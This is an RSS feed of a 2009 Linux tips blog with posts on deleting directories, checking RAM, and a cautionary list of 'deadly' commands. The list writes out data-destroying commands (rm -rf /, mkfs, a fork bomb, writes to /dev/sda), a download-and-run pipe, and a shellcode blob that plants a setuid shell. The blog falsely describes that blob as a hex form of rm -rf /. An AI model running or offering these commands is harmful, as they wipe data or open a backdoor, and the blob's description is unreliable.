<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Apache, Linux ,Seo tricks and many more &#187; command</title>
	<atom:link href="http://www.gossiplime.com/tag/command/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gossiplime.com</link>
	<description>This blog is just for all persons to know more about php, apache , linux , seo etc</description>
	<lastBuildDate>Wed, 24 Jun 2009 15:50:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Remove / Delete  a Directory Linux Command</title>
		<link>http://www.gossiplime.com/2009/06/remove-delete-a-directory-linux-command/</link>
		<comments>http://www.gossiplime.com/2009/06/remove-delete-a-directory-linux-command/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 15:50:02 +0000</pubDate>
		<dc:creator>sps</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[delete]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=326</guid>
		<description><![CDATA[Delete / Remove a Directory Linux Command Q. I am new to Linux and command line. How do I delete or remove a directory? A. Use rmdir command. This command remove the DIRECTORY(ies), if they are empty. For example, type the following command to remove /tmp/docs directory: $ rmdir /tmp/docs If directory is not empty [...]]]></description>
			<content:encoded><![CDATA[<div>
<h1>Delete / Remove a Directory Linux Command</h1>
</div>
<div style="float: right; margin-top: 0px; margin-left: 5px;"><a title="See all GNU/Linux related FAQ" href="http://www.cyberciti.biz/faq/category/linux/"><br />
</a></div>
<p><span style="color: #ff0000;">Q</span>. I am new to Linux and command line. How do I delete or remove a directory?</p>
<p><span style="color: #009900;">A</span>. Use rmdir command. This command remove the DIRECTORY(ies), if they are empty. For example, type the following command to remove /tmp/docs directory:</p>
<p><strong>$ rmdir /tmp/docs</strong><br />
If directory is not empty you will get an error:<br />
<code>$ rmdir letters</code><br />
Output:</p>
<pre>rmdir: letters: Directory not empty</pre>
<p>You can change directory to find out files:<br />
<code>$ cd letters<br />
$ ls</code></p>
<h2>Linux remove entire directory</h2>
<p>To remove all directories and subdirectories use rm command. For example remove letters and all subdirectories and files inside this directory, type the following command:<br />
<code>$ rm -rf letters/</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/06/remove-delete-a-directory-linux-command/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Linux Deadly Command</title>
		<link>http://www.gossiplime.com/2009/03/linux-deadly-command/</link>
		<comments>http://www.gossiplime.com/2009/03/linux-deadly-command/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 06:32:19 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[deadly]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=287</guid>
		<description><![CDATA[1. Code: CODE rm -rf / This command will recursively and forcefully delete all the files inside the root directory. 2. Code: CODE char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p release */ = &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243; &#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243; &#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243; &#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243; &#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243; &#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243; &#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243; &#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;&#8221;; This is the hex version of [rm -rf /] [...]]]></description>
			<content:encoded><![CDATA[<p>1. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->rm -rf /<!--c2--></div>
<p><!--ec2--></p>
<p><span>This command will recursively and forcefully <span class="IL_LINK_STYLE" style="font-weight: 400; font-size: 13px; color: #0000ff; font-style: normal; font-family: verdana,geneva,lucida,'lucida grande',arial,helvetica,sans-serif; text-decoration: underline;">delete all</span><span> the files inside the <span class="IL_LINK_STYLE" style="font-weight: 400; font-size: 13px; color: #0000ff; font-style: normal; font-family: verdana,geneva,lucida,'lucida grande',arial,helvetica,sans-serif; text-decoration: underline;">root directory</span>.</span></span></p>
<p>2. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p<br />
release */<br />
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;<br />
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;<br />
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;<br />
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;<br />
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;<br />
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;<br />
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;<br />
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;&#8221;;<!--c2--></div>
<p><!--ec2--></p>
<p>This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.</p>
<p>3. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->mkfs.ext3 /dev/sda<!--c2--></div>
<p><!--ec2--></p>
<p>This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.</p>
<p>4. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1--> <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:<!--c2--></div>
<p><!--ec2--></p>
<p>Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.</p>
<p>5. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->any_command &gt; /dev/sda<!--c2--></div>
<p><!--ec2--><br />
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.</p>
<p>6. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->wget http://some_untrusted_source -O- | sh<!--c2--></div>
<p><!--ec2--></p>
<p>Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.</p>
<p>7. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->mv /home/yourhomedirectory/* /dev/null<!--c2--></div>
<p><!--ec2--></p>
<p>This command will move all the files inside your home directory to a place that doesn&#8217;t exist; hence you will never ever see those files again.</p>
<p><span>There are of course other equally deadly <span class="IL_SPAN"><br />
<input name="IL_MARKER" type="hidden" />Linux commands</span> that I fail to include here, so if you have something to add, please share it with us via comment. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/03/linux-deadly-command/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>check ram size in Linux</title>
		<link>http://www.gossiplime.com/2009/02/check-ram-size-in-linux/</link>
		<comments>http://www.gossiplime.com/2009/02/check-ram-size-in-linux/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 21:23:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[ram]]></category>
		<category><![CDATA[top]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=245</guid>
		<description><![CDATA[you can use this command to find the ram size in your linux machine free Mem is Ram size in bytes. Use -m option for output in MB. SWAP is the size of SWAP partition. free -m Looks like you&#8217;re using up a lot of memory. Top displays your memory usage a little better as [...]]]></description>
			<content:encoded><![CDATA[<p>you can use this command to find the ram size in your linux machine</p>
<blockquote><p>free</p></blockquote>
<p>Mem is Ram size in bytes. Use -m option for output in MB.<br />
SWAP is the size of SWAP partition.</p>
<blockquote><p>free -m</p></blockquote>
<p>Looks like you&#8217;re using up a lot of memory. Top displays your memory usage a little better as far as the &#8220;easy to read&#8221; factor goes.</p>
<blockquote><p>top</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/check-ram-size-in-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
